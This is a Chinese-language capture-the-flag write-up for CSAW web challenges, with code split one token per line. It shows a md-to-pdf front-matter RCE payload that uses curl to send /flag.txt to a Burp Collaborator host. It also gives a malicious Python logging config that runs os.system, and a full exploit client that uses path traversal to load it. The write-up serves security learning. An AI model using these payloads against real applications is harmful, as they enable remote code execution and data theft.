打开访问一下大堆,大概是爬虫访问。
写个爬虫所有有 <a href="(.*?)">(.*?)</a>
都访问下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
import
re
import
requests
url
=
'http://web.chal.csaw.io:5010/'
session
=
requests.Session()
def
getAll():
target
=
'stuff'
while
True
:
result
=
session.get(url
+
target).text
target
=
re.findall(
'<a href="/(.*?)">'
, result)
if
target
=
=
[]:
print
(result)
break
else
:
target
=
target[
0
]
print
(re.findall(
'<h1>(.*?)</h1>'
, result))
if
__name__
=
=
'__main__'
:
getAll()
|
网站是个 markdown 转 pdf的功能,尝试渲染html和js都能成功
1
2
|
<iframe src
=
"/"
width
=
"400"
height
=
"600"
><
/
iframe>
<script>document.write(
"Test Success!!"
)<
/
script>
|
但 flag 在根目录,没法访问到。
读源码发现是用了 md-to-pdf 这个库
网上找找有没有这个库的RCE
还真有
1
2
3
|
-
-
-
js
((require(
"child_process"
)).execSync(
"whoami"
))
-
-
-
RCE
|
但不会回显,用 curl 外带出来
1
2
3
|
-
-
-
js
((require(
"child_process"
)).execSync(
"curl -d `cat /flag.txt` https://bs7gim4c66g802zhk4dmgm712s8kw9.burpcollaborator.net"
))
-
-
-
RCE
|
题目竟然给了api文档
有个可执行命令的api /run_command
,但需要管理员登录才可以
无法注册 admin ,数据库初始化的时候就已经创建好admin了
继续审计 routes.py
中的代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
#One of the volunteers keeps messing with the logger config. Doing this as a temporary fix so I can fix remotely...
#If you're the one doing it and reading this, please stop.
# 上面注释已经说了这里有漏洞
@api
.route(
'/log_config'
, methods
=
[
'POST'
])
@login_required
def
log_config():
if
not
request.is_json:
return
response(
'Missing required parameters!'
),
401
data
=
request.get_json()
file_name
=
data.get(
'filename'
, '')
# 发现加载日志配置存在漏洞,可加载任意文件作为配置文件
logging.config.fileConfig(f
"{current_app.config['UPLOAD_FOLDER']}/conf/{file_name}"
)
# ../../
return
response(data)
|
翻阅 logging.config
的官方文档 发现
不过都是跑在 docker 里,端口没暴露出来
在找找这个加载配置文件有啥漏洞吧
一搜一大把
搜索技巧,中文搜索不到的话用 英文+goole
格式 ( xxx vulnerable) (xxxxx RCE) 等 ,很有效,大概
好了,回到这题,参考
https://raj3shp.medium.com/python-security-logging-config-code-execution-e45660bc230e
设置配置文件
test.conf:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
[loggers]
keys
=
root,simpleExample
[handlers]
keys
=
consoleHandler
[formatters]
keys
=
simpleFormatter
[logger_root]
level
=
DEBUG
handlers
=
consoleHandler
[logger_simpleExample]
level
=
DEBUG
handlers
=
consoleHandler
qualname
=
simpleExample
propagate
=
0
[handler_consoleHandler]
# 可执行任意命令 ,将执行的命令的结果写入静态目录中,可直接读取
class
=
__import__
(
'os'
).system(
'cat /flag.txt > /app/application/static/docs/cmd.txt'
)
level
=
DEBUG
formatter
=
simpleFormatter
args
=
(sys.stdout,)
[formatter_simpleFormatter]
format
=
%
(asctime)s
-
%
(name)s
-
%
(levelname)s
-
%
(message)s
|
稍微修改下它给的api
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
|
# Sample API client for users who want to get started helping us collect and label space pictures!
import
requests
import
json
api_url
=
"http://localhost:1337/"
username
=
"aaa"
password
=
"123"
image_file
=
"test.conf"
label
=
"test"
def
register(username, password):
url
=
api_url
+
"/api/register"
payload
=
json.dumps({
"username"
: username,
"password"
: password
})
headers
=
{
'Content-Type'
:
'application/json'
}
response
=
requests.request(
"POST"
, url, headers
=
headers, data
=
payload)
return
response
def
login(username, password):
url
=
api_url
+
"/api/login"
payload
=
json.dumps({
"username"
: username,
"password"
: password
})
headers
=
{
'Content-Type'
:
'application/json'
}
connection
=
requests.Session()
response
=
connection.request(
"POST"
, url, headers
=
headers, data
=
payload)
return
response,connection
def
upload(connection, filename, label):
url
=
api_url
+
"/api/upload"
with
open
(filename,
"rb"
) as f:
data
=
f.read()
files
=
{
'file'
: data}
#Edit the label appropriately
values
=
{
'label'
: label}
response
=
connection.request(
"POST"
, url, files
=
files, data
=
values)
return
response
def
gallery(connetion):
url
=
api_url
+
"/api/gallery"
return
connetion.get(url)
def
log_config(connection, filename):
url
=
api_url
+
"/api/log_config"
logConf
=
{
"filename"
:
"../images/"
+
filename}
connection.post(url, json
=
logConf)
def
readCmd(connection):
url
=
api_url
+
"static/docs/cmd.txt"
return
connection.get(url)
def
main():
response
=
register(username, password)
print
(response.text)
response, connection
=
login(username, password)
print
(response.text)
response
=
upload(connection, image_file, label)
print
(response.text)
response
=
gallery(connection)
print
(response.text)
log_config(connection, json.loads(response.text)[
"message"
][
-
1
])
response
=
readCmd(connection)
print
(response.text)
![图片描述](upload
/
tmp
/
952339_9TBMQQZQHMQ8N3H
.png)
if
__name__
=
=
"__main__"
:
main()
|
得到
更多【CSAW-CTF-Web部分题目】相关视频教程:www.yxfzedu.com